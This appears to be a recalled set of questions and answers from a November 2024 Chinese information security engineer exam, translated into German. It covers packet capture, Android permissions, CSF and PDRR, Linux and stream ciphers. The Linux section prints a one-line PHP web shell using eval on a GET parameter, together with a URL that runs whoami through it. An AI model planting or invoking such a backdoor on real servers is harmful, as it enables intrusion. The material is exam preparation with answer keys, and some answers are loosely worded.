2024InformationSecurityEngineer

2024 Informationssicherheitsingenieur, 2024InformationSecurityEngineer

Zweites Halbjahr 2024 - Informationssicherheitsingenieur

Rückblick auf die Beispielfragen

软考-Prüfungszeitpunkt : 2024年11月08日

1. Firewall-Paketerfassung (14 Punkte)

1. Paketlänge ___ (2 Punkte) Antwort: 63
2. Echtes Gerät oder virtuelle Maschine ___ (2 Punkte) Antwort: Virtuelle Maschine
3. IP und Port des kontrollierenden Hosts ___ (2 Punkte) Antwort: 192.168.1.218 14444
4. Wireshark-Filterregel für IP und Port ___ (2 Punkte) Antwort: ip.addr == 192.168.2.105 and tcp.dstport == 14444
5. Vom kontrollierenden Host verwendeter Befehl (2 Punkte) Antwort: ipconfig
6. Windows-Tastenkürzel zum Anzeigen der Firewall ___ (2 Punkte) Antwort: firewall.cpl
7. Welche Option ___ (2 Punkte) Antwort: Benutzerdefiniert

2. Android-Aufgabe (16 Punkte)

1. Verzeichnis/Datei, in dem die Signatur gespeichert ist ___ (2 Punkte) Antwort: META-INF

2. Verzeichnis/Datei, in dem die Berechtigungen gespeichert sind ___ (2 Punkte) Antwort: AndroidManifest.xml

3. 5 Fragen (10 Punkte) (1) Welche Einstellung unterstützt die Sicherung (Backup); (2) Historische Standortinformationen können gelesen werden – besteht ein Sicherheitsrisiko; (3) Welche der vier Hauptkomponenten werden in der Konfigurationsdatei verwendet; (4) Welche Komponente hat das höchste Risiko der Informationspreisgabe; (5) Liegt Informationsmissbrauch vor? Bitte im Detail erläutern;

   Antwort: (1) backup...... unterstützt kein Backup (2) Es besteht eine Gefahr; unbekannte Informationen können preisgegeben werden (3) Activity, BroadcastRecevier (4) Contentprovider (5) Es liegt Informationsmissbrauch vor: Standort-, Kamera-, Speicher-, Kontakt-, Multimedia- und Bluetooth-Berechtigungen – viele davon stellen eine übermäßige Datensammlung dar

4. Haben Benutzer unter Android Root-Rechte (2 Punkte) Antwort: Nein

3. CSF (11 Punkte)

1. Welches Sicherheitsmodell ___ (2 Punkte) Antwort: PDRR
2. Unbekannt
3. Zu welcher Kernfunktion gehört die Firewall ___ (2 Punkte) Antwort: Schutz
4. 2 Fragen (4 Punkte) (1) Welche zusätzliche Kernfunktion hat CSF im Vergleich zu PDRR ___ (2 Punkte) Antwort: Identifizierung (2) Zu welcher Funktion des CSF gehört die Risikobewertung ___ (2 Punkte) Antwort: Identifizierung
5. Welche drei weiteren Arten der Identifizierung gibt es neben der Asset-Identifizierung ___ (3 Punkte) Antwort: Risikoidentifizierung; Schwachstellenidentifizierung; Identifizierung vorhandener Sicherheitsmaßnahmen

4. Linux (13 Punkte)

1. Vollständiger Name von ll ___ (2 Punkte) Antwort: ls -l

2. Ist der aktuelle Benutzer root oder ein normaler Benutzer ___ (2 Punkte) Antwort: root

3. Numerische Darstellung der Dateiberechtigungen ___ (2 Punkte) Antwort: rw-r--r-- 644

4. Was bedeutet das ../ in der Abbildung ___ (2 Punkte) Antwort: Übergeordnetes Verzeichnis, /var/www/html

5. In Linux integrierte Befehle zur Berechnung von Hashwerten ___ (2 Punkte) md5sum; sha1sum; shasum -a 256

6. shell.php <?php @eval($_GET["cmd"]); ?> (5 Punkte)

1. Wie lautet das zu dieser Datei gehörende Verbindungspasswort? Antwort: cmd
2. Welche HTTP-Anfragemethode wird verwendet? Antwort: GET
3. Angenommen, die Domain lautet abc.com – wie lautet die vollständige Anfrage-URL zur Ausführung von whoami? Antwort: abc.com/shell.php?cmd=system("whoami")

5. Verschlüsselung (15 Punkte)

1. Wie kann man, abgesehen von symmetrischer und asymmetrischer Verschlüsselung, entsprechend der Verarbeitungsweise des Klartexts noch verschlüsseln? (2 Punkte) Antwort: Blockverschlüsselung und Stromverschlüsselung
2. Die 8 Bit von a (2 Punkte) Antwort: 97 ---》 01100001
3. Ergebnis der XOR-Verschlüsselung von a mit abc (6 Punkte) Antwort: 032 oder 00000000 00000011 00000010
4. Gegeben sind mi, ki, ci – wie lautet die Formel, um den Klartext zu erhalten? (2 Punkte) Antwort: mi = ki XOR ^ ci
5. Ist es sicher, zwei verschiedene Klartexte mit demselben Schlüssel der Stromverschlüsselung zu verschlüsseln? Warum? (2 Punkte) Antwort: Unsicher; aus dem einen Klartext kann der andere abgeleitet werden
6. Kann eine Blockverschlüsselung als Stromverschlüsselung verwendet werden? (1 Punkt) Antwort: Ja